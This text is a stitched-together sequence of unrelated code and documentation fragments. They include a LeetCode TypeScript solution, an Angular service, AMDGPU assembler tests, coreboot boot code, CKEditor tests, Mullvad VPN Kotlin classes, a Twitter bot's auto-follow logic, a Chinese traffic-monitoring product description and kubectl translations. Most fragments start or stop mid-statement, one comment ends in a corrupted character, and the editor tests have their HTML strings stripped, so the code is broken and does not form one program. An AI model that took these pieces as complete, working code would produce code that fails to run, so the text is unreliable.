 * 你可以假设输入的字符串将只包含字母。
 *
 * 来源：力扣（LeetCode）
 * 链接：https://leetcode-cn.com/problems/keyboard-row
 *
 * Solution1
 * 遍历一遍
 */
export {}

function findWords(words: string[]): string[] {

    let result: string[] = [];

    for (let word of words) {
        let whichLine: number = whereIs(word.toLowerCase()[0]);
        let isInOneLine: boolean = true;
        for (let c of word.toLowerCase().split("")) {
            if (whichLine !== whereIs(c)) {
                isInOneLine = false;
                break;
            }
        }
        if (isInOneLine) {
            result.push(word);
        }
    }

    return result;
}

function whereIs(c: string): number {

    switch (c) {
        case 'q': case 'w': case 'e': case 'r': case 't':
        case 'y': case 'u': case 'i': case 'o': case 'p':
            return 0;
        case 'a': case 's': case 'd': case 'f': case 'g':
        case 'h': case 'j': case 'k': case 'l':
            return 1;
        default:
            return 2;
    }
}import { Observable } from 'rxjs/Observable';
import { Injectable } from '@angular/core';
import { Http, Headers } from '@angular/http';
import 'rxjs/add/operator/toPromise';
import 'rxjs/add/operator/map';
import { sanitize } from '../helpers/sanitize.helper';

import { Message } from '../models/message';
import { SentMessage } from '../models/sent-message';
import { MessageStatistics } from '../models/message-statistics';

@Injectable()
export class MessageService {
    // URL to the Web API
    private messagesUrl = 'api/messages';
    private statsUrl = '/statistics';
    private sendingUrl = '/send'
    private sentUrl = '/sent'
    private headers = new Headers({ 'Content-Type': 'application/json' });

    constructor(private http: Http) { }

    getMessages(): Observable<Message[]> {
        return this.http.get(this.messagesUrl, { headers: this.headers })
            .map(response => {
                return response.json() as Message[]
            });
    }

    getSentMessages(): Observable<SentMessage[]> {
        return this.http.get(this.messagesUrl + this.sentUrl, { headers: this.headers })
            .map(response => {
                return response.json() as SentMessage[]
            });
    }

    private handleError(error: any): Promise<any> {
        console.error('An error has occured', error);
        return Promise.reject(error.message || error);
    }

    getMessage(id: number): Observable<Message> {
        const url = `${this.messagesUrl}/${id}`;
        return this.http.get(url, { headers: this.headers })
            .map(response => {
                return response.json() as Message
            });
    }

    update(message: Message): Promise<Message> {
        const url = `${this.messagesUrl}/${message.id}`;
        return this.http
            .put(url, JSON.stringify(message), { headers: this.headers })
            .toPromise()
            .then(() => message)
            .catch(this.handleError);
    }

    create(title: string, body: string): Promise<Message> {
        return this.http


// Get the number of buffers that can be recorded.
			int sample = OpenAlMic.AvailableSamples;

			for (int i = 0; i < MicSources.Count; i++) {
				if (listenerPosition.Z < MicSources[i].Position.Z - MicSources[i].BackwardTolerance || listenerPosition.Z > MicSources[i].Position.Z + MicSources[i].ForwardTolerance) {
					continue;
				}

				// When playback is completed and recording is possible.
				if (sample > 0 && states[i] == 1) {
					// Store the recorded data in the buffer.
					OpenAlMic.ReadSamples(MicStore, sample);

					// Apply the recording data to the buffer.
					int buffer = AL.GenBuffer();
					AL.BufferData(buffer, OpenAlMic.SampleFormat, MicStore, MicStore.Length, OpenAlMic.SampleFrequency);

					// Apply buffer to source.
					AL.SourceQueueBuffer(MicSources[i].OpenAlSourceName, buffer);

					// Delete the buffer where playback has ended.
					UnloadMicBuffers(MicSources[i].OpenAlSourceName, states[i]);

					Vector3 positionDifference = MicSources[i].Position - listenerPosition;
					double distance = positionDifference.Norm();
					double innerRadius = 15.0;
					double gain = 1.0;

					if (GlobalMute) {
						gain = 0.0;
					} else {
						if (Program.Renderer.Camera.CurrentMode == CameraViewMode.Interior | Program.Renderer.Camera.CurrentMode == CameraViewMode.InteriorLookAhead) {
							inn


hi, 0x3141
// CHECK: [0x41,0x31,0xeb,0xb1]

s_cmpk_lg_i32 tba_lo, 0x3141
// CHECK: [0x41,0x31,0xec,0xb1]

s_cmpk_lg_i32 tba_hi, 0x3141
// CHECK: [0x41,0x31,0xed,0xb1]

s_cmpk_lg_i32 tma_lo, 0x3141
// CHECK: [0x41,0x31,0xee,0xb1]

s_cmpk_lg_i32 tma_hi, 0x3141
// CHECK: [0x41,0x31,0xef,0xb1]

s_cmpk_lg_i32 ttmp11, 0x3141
// CHECK: [0x41,0x31,0xfb,0xb1]

s_cmpk_lg_i32 m0, 0x3141
// CHECK: [0x41,0x31,0xfc,0xb1]

s_cmpk_lg_i32 exec_lo, 0x3141
// CHECK: [0x41,0x31,0xfe,0xb1]

s_cmpk_lg_i32 exec_hi, 0x3141
// CHECK: [0x41,0x31,0xff,0xb1]

s_cmpk_lg_i32 s1, 0xc1d1
// CHECK: [0xd1,0xc1,0x81,0xb1]

s_cmpk_gt_i32 s1, 0x3141
// CHECK: [0x41,0x31,0x01,0xb2]

s_cmpk_gt_i32 s101, 0x3141
// CHECK: [0x41,0x31,0x65,0xb2]

s_cmpk_gt_i32 flat_scratch_lo, 0x3141
// CHECK: [0x41,0x31,0x66,0xb2]

s_cmpk_gt_i32 flat_scratch_hi, 0x3141
// CHECK: [0x41,0x31,0x67,0xb2]

s_cmpk_gt_i32 vcc_lo, 0x3141
// CHECK: [0x41,0x31,0x6a,0xb2]

s_cmpk_gt_i32 vcc_hi, 0x3141
// CHECK: [0x41,0x31,0x6b,0xb2]

s_cmpk_gt_i32 tba_lo, 0x3141
// CHECK: [0x41,0x31,0x6c,0xb2]

s_cmpk_gt_i32 tba_hi, 0x3141
// CHECK: [0x41,0x31,0x6d,0xb2]

s_cmpk_gt_i32 tma_lo, 0x3141
// CHECK: [0x41,0x31,0x6e,0xb2]

s_cmpk_gt_i32 tma_hi, 0x3141
// CHECK: [0x41,0x31,0x6f,0xb2]

s_cmpk_gt_i32 ttmp11, 0x3141
// CHECK: [0x41,0x31,0x7b,0xb2]

s_cmpk_gt_i32 m0, 0x3141
// CHECK: [0x41,0x31,0x7c,0xb2]

s_cmpk_gt_i32 exec_lo, 0x3141
// CHECK: [0x41,0x31,0x7e,0xb2]

s_cmpk_gt_i32 exec_hi, 0x3141
// CHECK: [0x41,0x31,0x7f,0xb2]

s_cmpk_gt_i32 s1, 0xc1d1
// CHECK: [0xd1,0xc1,0x01


dom_node_lookup_namespace_uri:["string dom_node_lookup_namespace_uri(string prefix);","URL: http://www.w3.org/TR/DOM-Level-3-Core/core.html#Node3-lookupNamespaceURI Since: DOM Level 3"],dom_node_lookup_prefix:["string dom_node_lookup_prefix(string namespaceURI);","URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#Node3-lookupNamespacePrefix Since: DOM Level 3"],dom_node_normalize:["void dom_node_normalize();","URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-normalize Since:"],dom_node_remove_child:["DomNode dom_node_remove_child(DomNode oldChild);","URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-1734834066 Since:"],dom_node_replace_child:["DomNode dom_node_replace_child(DomNode newChild, DomNode oldChild);","URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-785887307 Since:"],dom_node_set_user_data:["mixed dom_node_set_user_data(string key, mixed data, userdatahandler handler);","URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#Node3-setUserData Since: DOM Level 3"],dom_nodelist_item:["DOMNode dom_nodelist_item(int index);","URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#ID-844377136 Since:"],dom_string_extend_find_offset16:["int dom_string_extend_find_offset16(int offset32);","URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#i18n-methods-StringExtend-findOffset16 Since:"],dom_string_extend_find_offset32:["int dom_string_extend_find_offset32(int offset16);","URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#i18n-methods-StringExtend-findOffset32 Since:"],dom_text_is_whitespace_in_element_content:["boolean dom_text_is_whitespace_in_element_content();","URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-Text3-isWhitespaceInElementContent Since: DOM Level 3"],dom_text_replace_whole_text:["DOMText dom_text_replace_whole_text(string content);","URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-Text3-replaceWholeText Since: DOM Level 3"],dom_text_split_text:["DOMText dom_text_split_text(int offset);","URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#core-ID-38853C1D Since:"],dom_userdatahandler_handle:["dom_void dom_userdatahandler_handle(short operation, string key, domobject data, node src, node dst);","URL: http://www.w3.org/TR/2003/WD-DOM-Level-3-Core-20030226/DOM3-Core.html#ID-handleUserDataEvent Since:"],dom_xpath_evaluate:["mixed dom_xpath_evaluate(string expr [,D


/* SPDX-License-Identifier: GPL-2.0-only */

#include <arch/cache.h>
#include <arch/exception.h>
#include <armv7.h>
#include <assert.h>
#include <cbmem.h>
#include <console/console.h>
#include <device/mmio.h>
#include <program_loading.h>
#include <romstage_common.h>
#include <soc/clock.h>
#include <soc/grf.h>
#include <soc/pwm.h>
#include <soc/rk808.h>
#include <soc/sdram.h>
#include <soc/tsadc.h>
#include <symbols.h>
#include <timestamp.h>
#include <types.h>

#include "board.h"

static void regulate_vdd_log(unsigned int mv)
{
	unsigned int duty_ns;
	const u32 period_ns = 2000;	/* pwm period: 2000ns */
	const u32 max_regulator_mv = 1350;	/* 1.35V */
	const u32 min_regulator_mv = 870;	/* 0.87V */

	write32(&rk3288_grf->iomux_pwm1, IOMUX_PWM1);

	assert((mv >= min_regulator_mv) && (mv <= max_regulator_mv));

	duty_ns = (max_regulator_mv - mv) * period_ns /
			(max_regulator_mv - min_regulator_mv);

	pwm_init(1, period_ns, duty_ns);
}

static void configure_l2ctlr(void)
{
	uint32_t l2ctlr;

	l2ctlr = read_l2ctlr();
	l2ctlr &= 0xfffc0000; /* clear bit0~bit17 */

	/*
	* Data RAM write latency: 2 cycles
	* Data RAM read latency: 2 cycles
	* Data RAM setup latency: 1 cycle
	* Tag RAM write latency: 1 cycle
	* Tag RAM read latency: 1 cycle
	* Tag RAM setup latency: 1 cycle
	*/
	l2ctlr |= (1 << 3 | 1 << 0);
	write_l2ctlr(l2ctlr);
}

static void sdmmc_power_off(void)
{
	rk808_configure_ldo(4, 0); /* VCCIO_SD */
	rk808_configure_ldo(5, 0); /* VCC33_SD */
}

#if CONFIG(SEPARATE_ROMSTAGE)
void main(void)
{
	timestamp_add_now(TS_ROMSTAGE_START);

	console_init();
	exception_init();

	romstage_main();
}
#endif

void __noreturn romstage_main(void)
{
	configure_l2ctlr();
	tsadc_init();

	/* Need to power cycle SD card to ensure it is properly reset. */
	sdmmc_power_off();

	/* vdd_log 1200mv is enough for ddr run 666Mhz */
	regulate_vdd_log(1200);

	timestamp_add_now(TS_INITRAM_START);

	sdram_init(get_sdram_config());

	timestamp_add_now(TS_INITRAM_END);

	/* Now that DRAM is up, add mappings for it and DMA coherency buffer. */
	mmu_config_range((uintptr_t)_dram/MiB,
			 sdram_size_mb(), DCACHE_WRITEBACK);
	mmu_config_range((uintptr_t)_dma_coherent/MiB,
			 REGION_SIZE(dma_coherent)/MiB, DCACHE_OFF);

	cbmem_initialize_empty();

	run_ramstage();
}


ateFilter( {
				'p b i': true,

				'$0': {
					match: function( el ) {
						return el.name == 'b';
					},
					propertiesOnly: true,
					attributes: 'foo'
				}
			} );

			filter( '
A B
',
				'
A B
' );
		},

		'test attributes filter - string': function() {
			var filter = createFilter( 'p[title,data-custom]; h1 [lang]' ); // Space after h1 is intentional.

			filter( '
foo
',		'
foo
' );
			filter( '
foo
',			'
foo
' );
		},

		'test attributes filter - string with wildcards': function() {
			var filter = createFilter( 'p[foo*bar,data-*]; h1[lang*]' );

			filter( '
foo
',		'
foo
' );
			filter( '
foo
',		'
foo
' );
			filter( '
foo
',				'
foo
' );
		},

		'test attributes filter - object': function() {
			var filter = createFilter( {
				p: { attributes: 'title,data-custom' },
				h1: { attributes: 'lang' }
			} );

			filter( '
foo
',		'
foo
' );
			filter( '
foo
',			'
foo
' );
		},

		'test attributes filter - object 2': function() {
			var filter = createFilter( {
				p: { attributes: [ 'title', 'data-custom' ] },
				h1: { attributes: [ 'lang' ] }
			} );

			filter( '
foo
',		'
foo
' );
			filter( '
foo
',			'
foo
' );
		},

		'test attributes filter - object with widlcards': function() {
			var filter = createFilter( {
				p: { attributes: 'foo*bar,data-*' },
				h1: { attributes: 'lang*' }
			} );

			filter( '
foo
',		'
foo
' );
			filter( '
foo
',		'
foo
' );
			filter( '
foo
',				'
foo
' );
		},

		'test attributes filter - style': function() {
			var filter = createFilter( [
				st( { element: 'p', attributes: { title: 'foo', 'data-custom': 'bar' } } ),
				st( { element: 'h1', attributes: { lang: 'pl' } } )
			] );

			filter( '<p title="a" id


()

    @Parcelize data class AccountExpiryEvent(val expiry: AccountExpiry) : Event()

    @Parcelize data class AccountHistoryEvent(val history: AccountHistory) : Event()

    @Parcelize
    data class AppVersionInfo(val versionInfo: net.mullvad.mullvadvpn.model.AppVersionInfo?) :
        Event()

    @Parcelize data class AuthToken(val token: String?) : Event()

    @Parcelize data class CurrentVersion(val version: String?) : Event()

    @Parcelize data class DeviceStateEvent(val newState: DeviceState) : Event()

    @Parcelize data class DeviceListUpdate(val event: DeviceListEvent) : Event()

    @Parcelize
    data class DeviceRemovalEvent(val deviceId: String, val result: RemoveDeviceResult) : Event()

    @Parcelize data class ListenerReady(val connection: Messenger, val listenerId: Int) : Event()

    @Parcelize data class LoginEvent(val result: LoginResult) : Event()

    @Parcelize data class NewLocation(val location: GeoIpLocation?) : Event()

    @Parcelize data class NewRelayList(val relayList: RelayList?) : Event()

    @Parcelize data class SettingsUpdate(val settings: Settings?) : Event()

    @Parcelize data class SplitTunnelingUpdate(val excludedApps: List<String>?) : Event()

    @Parcelize data class TunnelStateChange(val tunnelState: TunnelState) : Event()

    @Parcelize
    data class VoucherSubmissionResult(
        val voucher: String,
        val result: net.mullvad.mullvadvpn.model.VoucherSubmissionResult
    ) : Event()

    @Parcelize object VpnPermissionRequest : Event()

    companion object {
        private const val MESSAGE_KEY = "event"

        fun fromMessage(message: android.os.Message): Event? = fromMessage(message, MESSAGE_KEY)
    }
}

typealias EventDispatcher = MessageDispatcher<Event>
package net.mullvad.mullvadvpn.lib.theme.color

import androidx.compose.ui.graphics.Color

internal val md_theme_light_primary = Color(0xFF0561A3)
internal val md_theme_light_onPrimary = Color(0xFFFFFFFF)
internal val md_theme_light_primaryContainer = Color(0xFFD1E4FF)
internal val md_theme_light_onPrimaryContainer = Color(0xFF001D36)
internal val md_theme_light_secondary = Color(0xFF006E1F)
internal val md_theme_light_onSecondary = Color(0xFFFFFFFF)
internal val md_theme_light_secondaryContainer = Color(0xFF8FFA8F)
internal val md_theme_light_onSecondaryContainer = Color(0xFF002204)
internal val md_theme_light_tertiary = Color(0xFF845400)
internal val md_theme_light_onTertiary = Color(0xFFFFFFFF)
internal val md_theme_light_tertiaryContainer = Color(0xFFFFDDB5)
internal val md_theme_light_onTertiaryContainer = Color(0xFF2A1800)
internal val md_theme_light_error = Color(0xFFBA1A1A)
internal val md_theme_light_errorContainer = Color(0xFFFFDAD6)
internal val md_theme_light_onError = Color(0xFFFFFFFF)
internal val md_theme_light_onErrorContainer = Color(0xFF410002)
internal val md_theme_light_background = Color(0xFFFDFBFF)
internal val md_theme_light_onBackground = Color(0xFF001B3D)
internal val md_theme_light_surface = Color(0xFFFDFBFF)
internal val md_theme_light_onSurface = Color(0xFF001B3D)
internal val md_theme_light_surfaceVariant = Color(0xFFDFE2EB)
internal val md_theme_light_onSurfaceVariant = Color(0xFF43474E)
internal val md_theme_light_outline = Color(0xFF73777F)
internal val md_theme_light_inverse


tatus: String, step: Int){
        val weight = (1f/maxStepCount)
        val cur = weight * progress + step * 100 * weight
        dispatchProcess(cur.toInt(), status)

    }

    // 外部接口 ===========================
    override fun start() {
        if (state.value.status != 0){
            return
        }

        singleScope.launch {
            try {
                outputFolder.mkdirs()
                frameTempFolder.delete()
                easyTransformation.start()
            }catch (e: Exception){
                e.printStackTrace()
                dispatchError(e, e.message)
            }
        }
    }

    override fun stop() {

        mainScope.launch {
            easyTransformation.cancel()
            release()
            bitmapOut.release()
            cropFilter.release()
            transformFilter.release()
            dropFrameFilter.release()
        }

    }

}package com.heyanle.easybangumi4.cartoon.star

import com.heyanle.easy_i18n.R
import com.heyanle.easybangumi4.cartoon.old.entity.CartoonTagOld
import com.heyanle.easybangumi4.cartoon.repository.db.dao.CartoonTagDao
import com.heyanle.easybangumi4.setting.SettingPreferences
import com.heyanle.easybangumi4.utils.stringRes
import kotlinx.coroutines.flow.distinctUntilChanged
import kotlinx.coroutines.flow.map

/**
 * Created by heyanlin on 2023/11/2.
 */
class CartoonTagsController(
    private val settingPreferences: SettingPreferences,
    private val cartoonTagDao: CartoonTagDao
) {

    companion object {
        const val ALL_TAG_ID = -1
        const val UPDATE_TAG_ID = -2
    }

    val tagsList = cartoonTagDao.flowAll().distinctUntilChanged()
        .map {tagsList ->
            val res = tagsList.toMutableList()
            var findAll = false
            tagsList.forEach {
                if (it.id == ALL_TAG_ID) {
                    findAll = true
                }
            }
            if (!findAll) {
                res.add(CartoonTagOld(ALL_TAG_ID, stringRes(R.string.all_word), -1))
            }
            res
        }

    suspend fun refresh(tags: List<CartoonTagOld>) {
        cartoonTagDao.updateAll(tags)
    }

    suspend fun remove(cartoonTag: CartoonTagOld){
        cartoonTagDao.delete(cartoonTag)
    }

}

fun CartoonTagOld.tagLabel(): String {
    return when (id) {
        CartoonTagsController.ALL_TAG_ID -> stringRes(R.string.all_word)
        CartoonTagsController.UPDATE_TAG_ID -> stringRes(R.string.update)
        else -> label
    }
}

fun CartoonTagOld.isUpdate(): Boolean{
    return false
}

fun CartoonTagOld.isALL(): Boolean{
    return id == CartoonTagsController.ALL_TAG_ID
}

fun CartoonTagOld.isInner(): Boolean {
    return isALL()
}package com.heyanle.easybangumi4.cartoon.story

import com.heyanle.easybangumi4.base.DataResult
import com.heyanle.easybangumi4.cartoon.entity.CartoonDownloadInfo
import com.heyanle.easybangumi4.cartoon.entity.CartoonDownloadReq
import com.heyanle.easybangumi4.cartoon.entity.CartoonLocalEpisode
import com.heyanle.easybangumi4.cartoon.entity.CartoonLocalMsg
import com.heyanle.easybangumi4.cartoon.entity.CartoonStoryItem
import kotlinx.coroutines.flow.StateFlow

/**
 * 番剧下载 和 本地番源一起的耦合控制器
 * Created by heyanle on 2024/7/15.
 * https://github.com/heyanLE
 */
interface CartoonStoryController {

    // 番剧下载信息，包括持久化的请求和运行时的 Runtime
    val downloadInfoList: StateFlow<DataResult<List<CartoonDownloadInfo>>>

    // 本地剧集信息包�


de');
  $('#results').addClass('hide').empty();
  $('.error').removeClass('.error');

  var origin = core.sample(DOMESTIC_FLIGHTS);
  var splitOrigin = origin.replace(/(\s\()|(\))/g, '_').split('_');
  var cityOrigin = splitOrigin[0];
  var airportOrigin = splitOrigin[1];
  var userOrigin = core.sample([cityOrigin, airportOrigin]);

  var destination = core.sample(DOMESTIC_FLIGHTS);
  var splitDesination = destination.replace(/(\s\()|(\))/g, '_').split('_');
  var cityDesination = splitDesination[0];
  var airportDesination = splitDesination[1];
  var userDestination = core.sample([cityDesination, airportDesination]);

  var expectedDate = ui_utils.randomDate(START_DATE, END_DATE);
  var userDate = ui_utils.toDateString(expectedDate);

  var bookAction = core.sample(DESIRED_FLIGHT);

  $('#query').html('Book the ' + bookAction + ' one-way flight from: ' + userOrigin + ' to: ' +  userDestination + ' on ' + userDate + '.');

  $('#flight-from, #flight-to').autocomplete({
    source: DOMESTIC_FLIGHTS,
    delay: 0
  });

  $("#datepicker").datepicker({
    beforeShow: function (textbox, instance) {
      var txtBoxOffset = $(this).offset();
      var top = txtBoxOffset.top;
      var left = txtBoxOffset.left;
      var textBoxWidth = $(this).outerWidth();
      setTimeout(function () {
        instance.dpDiv.css({top: top-107, left: left});
      }, 0);
    },
    minDate: START_DATE,
    maxDate: END_DATE,
    showAnim: ''
  });

  var flightResults = generateFlights(origin, userDestination, userDate);

  $('#search').on('click', function(){
    $('#results').empty();
    $('.error').removeClass('error');
    var inputOrigin = $('#flight-from').val();
    var inputDestination = $('#flight-to').val();
    var inputDate = $('#datepicker').val();

    // input validation. if the text inputs are invalid, or blank, outline them in red.
    if(inputOrigin === '' || DOMESTIC_FLIGHTS.indexOf(inputOrigin) === -1)
      $('#flight-from').addClass('error');
    if(inputDestination === '' || DOMESTIC_FLIGHTS.indexOf(inputDestination) === -1)
      $('#flight-to').addClass('error');
    if(inputDate === '')
      $('#datepicker').addClass('error');
    if($('.error').length > 0) return;

    $('#results').removeClass('hide');
    $('#menu').addClass('hide');

    var cheapestPrice = MAX_PRICE;
    var shortest = DAY_MILLISECONDS*2;

    // create the header at the top of the flight results,
    // and allow the user to return back to search if needed.
    createFlightHeader(inputOrigin, inputDestination, inputDate);
    $('#menu-back').unbind('click');
    $('#menu-back').on('click', function(){
      $('#results').addClass('hide');
      $('#menu').removeClass('hide');
    });

    // all the shenanigans used to determine whether or not the user
    // has picked the correct flight: the origin city, the desination city,
    // the date, and whether or not it's the cheapest/shorest flight.
    var correctOrigin = inputOrigin.indexOf(userOrigin) !== -1;
    var correctDestination = inputDestination.indexOf(userDestination) !== -


像机、网络摄像机、卡口、电警、数字硬盘录像机、网络硬盘录像机、存储介质、硬件服务器等所有采集设备资源进行全方位的无死角监管。同时系统具备区域地图联动、监控设备在线率、前端监控完好率、请求时延率、视频图像达标率、录像完整率、经纬度标注不规范校验等数 据展示模型，使得各类视频设备“能连接，能点播，画质佳，存的住”。

另外系统支持对所有设备运维数据的统计导出功能，支持按权限、故障情况、故障区域及设备品牌 等条件生成报表，并导出，供运维管理员上报考核。

### 数据运维

结合可视化大数据技术，新中新运维管理系 统支持各种平台数据（包括第三方平台数据）的 状态展示，可及时发现系统运行中的各种异常情 况，集中化的管理架构可以方便快捷的辅助管理 员完成故障的排查和解决，进而保证各系统的正 常运行以及数据的完整性。

![image-20210301111618965](http://lovebetterworld.com/image-20210301111618965.png)

### 业务运维

针对交警业务，例如违法数据筛选、涉牌研 判、勤务管理等功能，新中新运维管理系统通过 对各业务终端用户权限的管理和数据挖掘，与辅 助决策系作量、工作效率、出勤率和成果转化率等考核指标的图形化展示，并可根据项目要求个性化定制数据展示类型和展示形式，便于领导者洞察异常和决策, 全局掌握业务的健康水平和执行层的工作情况。

## 六、互联网数据融合

依托阿里云城市大脑V2.0解决方案，我们结合集成管控系统汇聚到的卡口、电警、信控数据，完成 了交通态势评价、智能诱导发布和公众信息服务等数据融合相关解决方案。

通过信息采集、文案自动化和信息一体化发布，实现将即时有效信息连续、实时传递给交通参与者, 包括出行者和互联网导航等不同媒介，改善出行者的交通信息服务水平，对交通安全隐患进行主动式控 制。

构建城市交通治理数据闭环，让Al赋能“城市畅通工程”和“两化工程”。集成管控系统从宏观、 中观、微观三个层构建城市交通态势运行评价体系。以城市大脑数据底盘为支撑，以交通数据融合引擎 和交通控制优化引擎为双动力，着力


/std/primitive.u32.html">u32)

Sleeps the current thread for the specified amount of milliseconds.

It’s recommended that you use std::thread::sleep() instead.

source
pub fn performance_counter(&self) -> u64

source
pub fn performance_frequency(&self) -> u64

Trait Implementations§

source§
impl Clone for TimerSubsystem

source§
fn clone(&self) -> TimerSubsystem

Returns a copy of the value. Read more

1.0.0 · source§
fn clone_from(&mut self, source: <a clas


List<String> keywords = new TextStream(text.toLowerCase()).allWords();
								if (statusWords.containsAll(keywords)) {
									match = true;
									break;
								}
							}
							if (match) {
								processed.add(tweet.getId());
								log("Processing search", Level.INFO, tweet.getUser().getScreenName(), tweetSearch, tweet.getText());
								input(tweet);
								Utils.sleep(500);
								count++;
							} else {
								if (!tweet.isRetweetedByMe()) {
									boolean found = false;
									// Check retweet.
									for (String keywords : getRetweet()) {
										List<String> keyWords = new TextStream(keywords).allWords();
										if (!keyWords.isEmpty()) {
											if (statusWords.containsAll(keyWords)) {
												found = true;
												processed.add(tweet.getId());
												count++;
												retweet(tweet);
												Utils.sleep(500);
												break;
											}
										}
									}
									if (!found) {
										log("Missing keywords", Level.FINER, tweet.getText());
									}
								} else {
									log("Already retweeted", Level.FINER, tweet.getText());
								}
							}
							// Learn tweet after processing to avoid returning tweet as response.
							if (getLearn()) {
								learnTweet(tweet, true, true);
							}
						}
					}
				}
				if (count > this.maxSearch) {
					break;
				}
				if (this.errors > this.maxErrors) {
					break;
				}
			}
			if (max != 0) {
				twitter.setRelationship(Primitive.LASTSEARCH, memory.createVertex(max));
				memory.save();
			}
		} catch (Exception exception) {
			log(exception);
		}
		// Wait for language processing.
		int count = 0;
		while (count < 60 && !getBot().memory().getActiveMemory().isEmpty()) {
			Utils.sleep(1000);
		}
	}

	/**
	 * Check search keywords.
	 */
	public void checkAutoFollowSearch(int friendCount) {
		if (getAutoFollowSearch().isEmpty()) {
			return;
		}
		log("Processing autofollow search", Level.FINE, getAutoFollowSearch());
		try {
			Network memory = getBot().memory().newMemory();
			Vertex twitter = memory.createVertex(getPrimitive());
			Vertex vertex = twitter.getRelationship(Primitive.LASTAUTOFOLLOWSEARCH);
			long last = 0;
			long max = 0;
			int count = 0;
			if (vertex != null) {
				last = ((Number)vertex.getData()).longValue();
			}
			for (String followSearch : getAutoFollowSearch()) {
				Query query = new Query(followSearch);
				if (vertex != null) {
					query.setSinceId(last);
				}
				SearchResource search = getConnection().search();
				QueryResult result = search.search(query);
				List<Status> tweets = result.getTweets();
				if (tweets != null) {
					for (Status tweet : tweets) {
						if (count > this.maxSearch) {
							break;
						}
						if (tweet.getId() > last) {
							log("Autofollow search", Level.FINE, tweet.getText(), tweet.getUser().getScreenName(), followSearch);
							if (checkFriendship(tweet.getUser().getId(), false)) {
								friendCount++;
								if (friendCount >= getMaxFriends()) {
									log("Max friend limit", Level.FINE, getMaxFriends());
									return;
								}
							}
							count++;
							if (tweet.getId() > max) {
								max = tweet.getId();
							}
						}
					}
				}
				if (count > this.max


/images/docs/kubectl_drain.svg)"
msgstr ""
"\n"
"\t\tDrain node in preparation for maintenance.\n"
"\n"
"\t\tThe given node will be marked unschedulable to prevent new pods from "
"arriving.\n"
"\t\t'drain' evicts the pods if the APIServer supports eviction\n"
"\t\t(http://kubernetes.io/docs/admin/disruptions/). Otherwise, it will use "
"normal DELETE\n"
"\t\tto delete the pods.\n"
"\t\tThe 'drain' evicts or deletes all pods except mirror pods (which cannot "
"be deleted through\n"
"\t\tthe API server).  If there are DaemonSet-managed pods, drain will not "
"proceed\n"
"\t\twithout --ignore-daemonsets, and regardless it will not delete any\n"
"\t\tDaemonSet-managed pods, because those pods would be immediately replaced "
"by the\n"
"\t\tDaemonSet controller, which ignores unschedulable markings.  If there "
"are any\n"
"\t\tpods that are neither mirror pods nor managed by ReplicationController,\n"
"\t\tReplicaSet, DaemonSet, StatefulSet or Job, then drain will not delete "
"any pods unless you\n"
"\t\tuse --force.  --force will also allow deletion to proceed if the "
"managing resource of one\n"
"\t\tor more pods is missing.\n"
"\n"
"\t\t'drain' waits for graceful termination. You should not operate on the "
"machine until\n"
"\t\tthe command completes.\n"
"\n"
"\t\tWhen you are ready to put the node back into service, use kubectl "
"uncordon, which\n"
"\t\twill make the node schedulable again.\n"
"\n"
"\t\t![Workflow](http://kubernetes.io/images/docs/kubectl_drain.svg)"

#: pkg/kubectl/cmd/edit.go:56
msgid ""
"\n"
"\t\tEdit a resource from the default editor.\n"
"\n"
"\t\tThe edit command allows you to directly edit any API resource you can "
"retrieve via the\n"
"\t\tcommand line tools. It will open the editor defined by your KUBE_EDITOR, "
"or EDITOR\n"
"\t\tenvironment variables, or fall back to 'vi' for Linux or 'notepad' for "
"Windows.\n"
"\t\tYou can edit multiple objects, although changes are applied one at a "
"time. The command\n"
"\t\taccepts filenames as well as command line arguments, although the files "
"you point to must\n"
"\t\tbe previously saved versions of resources.\n"
"\n"
"\t\tEditing is done with the API version used to fetch the resource.\n"
"\t\tTo edit using a specific API version, fully-qualify the resource, "
"version, and group.\n"
"\n"
"\t\tThe default format is YAML. To edit in JSON, specify \"-o json\".\n"
"\n"
"\t\tThe flag --windows-line-endings can be used to force Windows line "
"endings,\n"
"\t\totherwise the default for your operating system will be used.\n"
"\n"
"\t\tIn the event an error occurs while updating, a temporary file will be "
"created on disk\n"
"\t\tthat contains your unapplied changes. The most common error when "
"updating a resource\n"
"\t\tis another editor changing the resource on the server. When this occurs, "
"you will have\n"
"\t\tto apply your changes to the newer version of the resource, or update "
"your temporary\n"
"\t\tsaved copy to include the latest resource version."
msgstr ""
"\n"
"\t


  val a = mk.arange<Long>(1, 11, 1)
        val weights = mk.arange<Long>(10, 0, -1)
        assertEquals(4.0, mk.stat.average(a, weights))
    }

    @Test
    fun test_of_mean_function_on_a_3d_ndarray() {
        val ndarray = mk.ndarray(mk[mk[mk[0, 3], mk[1, 4]], mk[mk[2, 5], mk[6, 8]], mk[mk[7, 9], mk[10, 11]]])

        val expectedWith0Axis = mk.ndarray(mk[mk[3.0, 5.666666666666667], mk[5.666666666666667, 7.666666666666667]])
        val expectedWith1Axis = mk.ndarray(mk[mk[0.5, 3.5], mk[4.0, 6.5], mk[8.5, 10.0]])
        val expectedWith2Axis = mk.ndarray(mk[mk[1.5, 2.5], mk[3.5, 7.0], mk[8.0, 10.5]])

        assertEquals(expectedWith0Axis, mk.stat.mean(ndarray, axis = 0))
        assertEquals(expectedWith1Axis, mk.stat.mean(ndarray, axis = 1))
        assertEquals(expectedWith2Axis, mk.stat.mean(ndarray, axis = 2))
    }

    @Test
    fun test_of_mean_function_on_a_flat_ndarray() {
        val ndarray = mk.ndarray(mk[1, 2, 3, 4])
        assertEquals(2.5, KEStatistics.mean(ndarray))
    }

    @Test
    fun test_of_mean_function_on_a_2d_ndarray() {
